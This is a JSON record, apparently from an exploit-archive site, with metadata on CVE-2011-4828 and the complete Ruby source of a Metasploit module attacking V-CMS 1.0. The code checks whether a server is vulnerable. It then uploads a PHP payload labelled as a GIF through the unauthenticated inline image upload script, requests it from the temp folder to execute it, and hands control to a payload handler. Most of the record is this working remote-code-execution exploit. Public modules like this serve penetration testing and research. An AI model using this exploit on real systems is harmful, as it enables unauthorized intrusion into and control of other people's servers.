{"exploit":{"id":"MSF-linux--http--vcms_upload","name":"V-CMS PHP File Upload and Execute","description":"This module exploits a vulnerability found on V-CMS's inline image upload feature. The problem is due to the inline_image_upload.php file not checking the file type before saving it on the web server. This allows any malicious user to upload a script (such as PHP) without authentication, and then execute it with a GET request. The issue is fixed in 1.1 by checking the extension name. By default, 1.1 only allows jpg, jpeg, png, gif, bmp, but it is still possible to upload a PHP file as one of those extension names, which may still be leveraged in an attack.","cves":["CVE-2011-4828"],"author":"AutoSec Tools, sinn3r","published":"2011-11-27","platform":"Linux,PHP","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/linux/http/vcms_upload.rb","path":"modules/exploits/linux/http/vcms_upload.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"vcms_upload.rb","vulnerabilities":[{"id":"CVE-2011-4828","state":"PUBLISHED","title":null,"titleSource":null,"description":"Unrestricted file upload vulnerability in includes/inline_image_upload.php in AutoSec Tools V-CMS 1.0 allows remote attackers to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in temp/.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2011-4828","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2011-4828"},"updatedAt":"2024-09-17T02:47:38.916Z","retrievedAt":"2026-11-26T15:15:18.602Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-linux--http--vcms_upload.png?v=2","url":"https://exploitbin.com/exploits/MSF-linux--http--vcms_upload","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--vcms_upload/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--vcms_upload/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n  include Msf::Exploit::PhpEXE\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'V-CMS PHP File Upload and Execute',\n        'Description' => %q{\n          This module exploits a vulnerability found on V-CMS's inline image upload feature.\n          The problem is due to the inline_image_upload.php file not checking the file type\n          before saving it on the web server. This allows any malicious user to upload a\n          script (such as PHP) without authentication, and then execute it with a GET request.\n\n          The issue is fixed in 1.1 by checking the extension name.  By default, 1.1 only\n          allows jpg, jpeg, png, gif, bmp, but it is still possible to upload a PHP file as\n          one of those extension names, which may still be leveraged in an attack.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'AutoSec Tools', # Initial discovery\n          'sinn3r' # Metasploit\n        ],\n        'References' => [\n          ['CVE', '2011-4828'],\n          ['OSVDB', '77183'],\n          ['BID', '50706'],\n          ['URL', 'http://xforce.iss.net/xforce/xfdb/71358']\n        ],\n        'Payload' => {\n          'BadChars' => \"\\x00\"\n        },\n        'Platform' => 'php',\n        'Targets' => [\n          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],\n          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2011-11-27', # When the ticket was created\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('TARGETURI', [true, 'The URI path to vcms', '/vcms/'])\n      ]\n    )\n  end\n\n  def check\n    uri = normalize_uri(target_uri.path)\n    uri << '/' if uri[-1, 1] != '/'\n    res = send_request_raw({\n      'uri' => uri,\n      'method' => 'GET'\n    })\n\n    if res and res.body =~ /V-CMS v1\\.[0-1]/\n      return Exploit::CheckCode::Appears('The target appears to be vulnerable')\n    else\n      return Exploit::CheckCode::Safe('The target is not vulnerable')\n    end\n  end\n\n  def exploit\n    peer = \"#{rhost}:#{rport}\"\n\n    base = target_uri.path\n    base << '/' if base[-1, 1] != '/'\n\n    @payload_name = \"#{rand_text_alpha(5)}.php\"\n    p = get_write_exec_payload(unlink_self: true)\n\n    post_data = \"------x\\r\\n\"\n    post_data << \"Content-Disposition: form-data; name=\\\"Filedata\\\"; filename=\\\"#{@payload_name}\\\"\\r\\n\"\n    post_data << \"Content-Type: image/gif\\r\\n\"\n    post_data << \"\\r\\n\"\n    post_data << p + \"\\r\\n\"\n    post_data << \"------x--\\r\\n\"\n\n    print_status(\"#{peer} Uploading payload: #{@payload_name}\")\n    res = send_request_cgi({\n      'uri' => normalize_uri(base, 'includes/inline_image_upload.php'),\n      'method' => 'POST',\n      'ctype' => 'multipart/form-data; boundary=----x',\n      'data' => post_data\n    })\n\n    if res\n      print_status(\"#{peer} replies status: #{res.code}\")\n    else\n      print_error(\"#{peer} No response from server. Will not continue\")\n      return\n    end\n\n    print_status(\"#{peer} Executing payload: #{@payload_name}\")\n    res = send_request_raw({\n      'uri' => \"#{base}temp/#{@payload_name}\",\n      'method' => 'GET'\n    })\n\n    if res and res.code == 404\n      print_error(\"#{peer} 404 - the upload probably failed\")\n      return\n    end\n\n    handler\n  end\nend\n","sha256":"9c3b456224c9d9b8815d0ec92f2a1fc3298be720c1936794503b493b85deb039","bytes":3784,"fetchedAt":"2026-11-26T15:15:16.785Z","encoding":"utf-8 (display only; download retains original bytes)"}